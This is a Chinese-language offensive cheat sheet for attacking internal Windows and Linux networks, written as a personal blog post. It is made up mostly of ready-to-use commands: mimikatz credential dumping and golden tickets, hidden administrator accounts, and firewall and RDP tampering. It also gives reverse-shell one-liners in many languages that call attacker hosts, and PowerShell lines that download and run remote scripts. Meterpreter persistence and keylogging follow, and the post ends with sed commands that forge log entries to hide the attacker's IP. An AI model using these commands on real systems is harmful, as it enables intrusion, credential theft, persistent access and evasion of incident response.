內網攻防經典技術備忘錄
前言
很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
信息搜集
nmap掃描實時存活的ip
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
常用命令
ipsping icmp連通性 nslookup www.baidu.com vps-ip dns連通性 dig @vps-ip www.baidu.com curl vps:8080 http連通性 tracert bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一種上傳文件 >=2008 fuser -nv tcp 80 查看端口pid rdesktop -u username ip linux連接win遠程桌面 (有可能不成功) where file win查找文件是否存在 找路徑,Linux下使用命令find -name *.jsp來查找,Windows下,使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i netstat -apn | grep 8888 kill -9 PID 查看端口并kill query user || qwinsta 查看當前在線用戶 net user 查看本機用戶 net user /domain 查看域用戶 net view & net group "domain computers" /domain 查看當前域計算機列表 第二個查的更多 net view /domain 查看有幾個域 net view \\dc 查看dc域內共享文件 net group /domain 查看域里面的組 net group "domain admins" /domain 查看域管 net localgroup administrators /domain /這個也是查域管,是升級為域控時,本地賬戶也成為域管 net group "domain controllers" /domain 域控 net time /domain net config workstation 當前登錄域 - 計算機名 - 用戶名 net use \\域控(如pc.xx.com) password /user:xxx.com\username 相當于這個帳號登錄域內主機,可訪問資源 ipconfig systeminfo 查看系統信息 tasklist /svc tasklist /S ip /U domain\username /P /V 查看遠程計算機tasklist net localgroup administrators && whoami 查看當前是不是屬于管理組 netstat -ano nltest /dclist:xx 查看域控 dsquery whoami /all 查看Mandatory Label uac級別和sid號 net sessoin 查看遠程連接session(需要管理權限) net share 共享目錄 cmdkey /l 查看保存登陸憑證 echo %logonserver% 查看登陸域 spn –l administrator spn記錄 set 環境變量 dsquery server - 查找目錄中的 AD DC/LDS 實例 dsquery user - 查找目錄中的用戶 dsquery computer 查詢所有計算機名稱windows 2003 dir /s *.exe 查找指定目錄下及子目錄下沒隱藏文件 arp -a 獲取arp表
腳本收集域信息
使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install
使用被攻擊主機CMD掃描存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
文件信息搜集
ExifTool可讀寫及處理圖像、視頻及音頻,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括許多相機的制造商信息讀取,如佳能,卡西歐,大疆,FLIR,三星等。
exiftool ‐lang zh‐cn ‐a ‐u ‐g1 ./55e736d12f2eb9385716e 513d8628535e4dd6fdc.jpg
Micropoor:”目標資產信息搜集的程度,決定滲透過程的復雜程度。目標主機信息搜集的深度,決定后滲透權限持續把控。滲透的本質是信息搜集,而信息搜集整理為后續的情報跟進提供了強大的保證。”
密碼憑證獲取
提取 KRBTGT用戶帳戶的密碼數據:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit
管理員用戶帳戶提取密碼數據:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
發現遠程登錄密碼等密碼 netpass.exe
下載[https://www.nirsoft.net/utils/network_password_recovery.html](https://www.nirsoft.net/utils/network_password_recovery.html)
獲取window vpn密碼:
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
wifi密碼:
netsh wlan show profile 查處wifi名下一條命令用 netsh wlan show profile WiFi-name key=clear
ie代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
pac代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL //引 t0stmail
用戶操作
添加user
net user admin1 admin1 /add & net localgroup administrators admin1 /add
如果不允許遠程連接,修改注冊表
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
如果系統未配置過遠程桌面服務,第一次開啟時還需要添加防火墻規則,允許3389端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
關閉防火墻
netsh firewall set opmode mode=disable
添加隱藏賬戶
開啟sys權限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
添加用戶并隱藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
反彈shell和端口轉發
Lnuix 反彈shell
Bash
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1 bash -i >& /dev/tcp/192.168.146.129/2333 <&2 exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done nc 192.168.31.174 8080 -t -e /bin/bash
簡單解釋下:
bash -i 打開一個交互的bash
>&將標準錯誤輸出重定向到標準輸出
/dev/tcp/x.x.x.x/port 意為調用socket,建立socket連接,其中x.x.x.x為要反彈到的主機ip,port為端口
0>&1 標準輸入重定向到標準輸出,實現你與反彈出來的shell的交互
telnet反彈
攻擊者主機上打開兩個終端分別執行監聽:
nc -lvvp 4444 nc -lvvp 5555
目標主機中執行:
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
監聽兩個端口分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip
反彈shell成功后,在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。
另一個版本:
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
Netcat without -e #1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444 telnet localhost 443 | /bin/sh | telnet localhost 444
XTerm
xterm -display 10.0.0.1:1
JDWP RCE
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
Working with Restricted Shells
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java
常見腳本反彈:
1. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2. Perl
方法一:
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
方法二:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
3. Ruby
方法一:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
方法二:
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
4. PHP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
5. Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
6. Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
端口轉發
被攻擊機 lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389 vps lcx.exe –listen 8888 5555
netsh win自帶(只支持tcp)
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080
將本地80轉到192.168.1.101:8080端口
netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389
通過連接1.1.1.101的8082端口,相當連接1.1.1.101可訪問的內網192.168.2.102的3389端口
portfwd是一款強大的端口轉發工具,支持TCP,UDP,支持IPV4–IPV6的轉換轉發。并且 內置于meterpreter。其中exe單版本源碼如下:[https://github.com/rssnsj/portfwd](https://github.com/rssnsj/portfwd)
攻擊機執行
portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389 portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
分別訪問攻擊機33389,30080,既等價訪問靶機3389,80
提權小結
常用exp:
https://github.com/SecWiki/windows-kernel-exploits https://github.com/WindowsExploits/Exploits https://github.com/AusJock/Privilege-Escalation
linux提權輔助腳本
https://github.com/jondonas/linux-exploit-suggester-2
windows提權輔助腳本
https://github.com/Ethancck/Windows-Exploit-Suggester
Msf相關
linux相關payload:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
windows相關payload:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
目標服務器為64位用x64監聽,反彈meterpreter用含有meterpreter的模塊,反彈普通的shell(例如nc),shell_reverse_tcp模塊監聽
例如msf:
反彈shell msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe 監聽 windows/meterpreter/reverse_tcp 反彈shell nc -e cmd.exe ip port 監聽 windows/shell_reverse_tcp
meterpreter下上傳 upload file 下載 download file
Msf進程注入(win2008 成功)
meterpreter > getuid Server username: xxxx meterpreter > getpid Current pid: 3456 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 12000 676 shell.exe x86 2 xxx C:\Users\xxx\Desktop\shell.exe 676 1124 explorer.exe x64 2 xxx C:\Windows\explorer.exe meterpreter > migrate 676 [*] Migrating from 12000 to 676... [*] Migration completed successfully.
Msf hash
meterpreter > run hashdump 需要sys權限 導出SAM meterpreter > run post/windows/gather/smart_hashdump 需要sys權限 getsystem存在uac,用msf bypass,但特征明顯 meterpreter > search bypassuac msf powerdump load mimikatz 不太好用
Msf的持續后門
Persistence: run persistence -h:用于創建啟動項啟動,會創建注冊表,創建文件。(X86_Linux不支持此腳本)
run persistence -U -i 10 -p 10390 -r free.ngrok.cc
使用powershell執行也被監控而被360攔截
meterpreter 的 run getgui -e 命令可以開啟成 功。360會提示阻止
Run metsvc -h :用于創建服務,會創建meterpreter服務,并上傳三個文件,使用-r參數可以卸載服務 ,被攔
Msf powershell
meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds
Msf Router
2個或多個路由之間,沒有配置相應的路由表,不能訪問,獲得一臺機器shell session 添加路由,使msf可以在當前shell session下以被攻擊機訪問其他內網主機.
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0
meterpreter > run autoroute -s 172.17.0.0/16 添加路由
meterpreter > run autoroute -p 查看路由
meterpreter > run autoroute -d -s 172.17.0.0/16 刪除
鍵盤記錄
Msf鍵盤記錄在windows不會創建新進程
meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop
Payload下載(windows)
自windows7 以上版本內置bitsadmin,它可以在網絡不穩定的狀態下下載文件,出錯會自 動重試,在比較復雜的網絡環境下,有著不錯的性能。
bitsadmin /rawreturn /transfer down "[http://vps/hello.php](http://vps/hello.php)" G:\text\hello.php

mimikatz 和procdump 獲得內存 hash
如果服務器是64位,要把Mimikatz進程遷移到一個64位的程序進程中,才能查看64位系統密碼明文。32位任意
運行procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理權限)后lsass.dmp放到mimikatz.exe同目錄,運行以下命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
導出當前 內存 hash,需要免殺過av等
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
Windows Server 2012,部分Windows Server 2008默認無法使用mimikatz導出明文口令
黃金票據(維持權限)
域用戶sid
whoami /all
krbtgt hash
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
域管 net group "domain admins" /domain 這里的是administrator
mimikatz "kerberos::purge""kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi""kerberos::ptt Administrator.kiribi""kerberos::tgt"
痕跡擦除
在滲透中,想要不留痕跡的(當然這是很難的),就要對自己的留下的痕跡進行擦除,這里以Lniux為例。
Linux痕跡清除
Apache日志
Apache主要的日志就是access.log``error_log,前者記錄了HTTTP的訪問記錄,后者記錄了服務器的錯誤日志。這些都可以在httpd.conf中找到。
明文的Apache文件,通過正則表達式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我們的IP,192.168.1.4使我們偽造的IP。在正則表達式中有特殊的含義,所以需要用“”來進行轉義。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #錯誤日志 log=/var/log/mysql/mysql.log#最好注釋掉,會產生大量的日志,包括每一個執行的sql及環境變量的改變等等 log-bin=/var/log/mysql/mysql_bin.log # 用于備份恢復,或主從復制.這里不涉及。 log-slow-queries=/var/log/mysql/mysql_slow.log #慢查詢日志 log-error=/var/log/mysql/mysqld.log pid-file=/var/run/mysqld/mysqld.pid
執行下述命令清除即可
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
至于二進制日志文件,需要登錄mysql client來修改刪除,建議這種操作最先執行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log
Linux日志清除
這個比較多,記錄的也比較復雜,測試環境是CentOS 6.3。只把和滲透有關的文件列出來,主要在/etc/logrotate.d/syslog中
/var/log/maillog,該日志文件記錄了每一個發送到系統或從系統發出的電子郵件的活動,它可以用來查看用戶使用哪個系統發送工具或把數據發送到哪個系統
var/log/messages,該文件的格式是每一行包含日期、主機名、程序名,后面是包含PID或內核標識的方括號,一個冒號和一個空格
/var/log/wtmp,該日志文件永久記錄每個用戶登錄、注銷及系統的啟動,停機的事件。該日志文件可以用來查看用戶的登錄記錄,last命令就通過訪問這個文件獲得這些信息,并以反序從后向前顯示用戶的登錄記錄,last也能根據用戶,終端tty或時間顯示相應的記錄
/var/run/utmp,該日志文件記錄有關當前登錄的每個用戶的信息,因此這個文件會隨著用戶登錄和注銷系統而不斷變化,它只保留當時聯機的用戶記錄,不會為用戶保留永久的記錄。系統中需要查詢當前用戶狀態的程序,如who、w、users、finger等就需要訪問這個文件
/var/log/xferlog,該日志文件記錄FTP會話,可以顯示出用戶向FTP服務器或從服務器拷貝了什么文件。該文件會顯示用戶拷貝到服務器上的用來入侵服務器的惡意程序,以及該用戶拷貝了哪些文件供他使用。
bash_history,這是bash終端的命令記錄,能夠記錄1000條最近執行過的命令(具體多少條可以配置),通過這個文件可以分析此前執行的命令來知道知否有入侵者,每一個用戶的home目錄里都有這么一個文件
安利的腳本:https://github.com/JonGates/jon](https://github.com/JonGates/jon
后言
滲透是一門藝術,外練一口氣,內練筋骨皮,時常鞏固自己的知識體系,才能站在滲透的一線。最后向發揚分享精神的Micropoor致敬!貼出大佬的github:
https://github.com/Micropoor/Micro8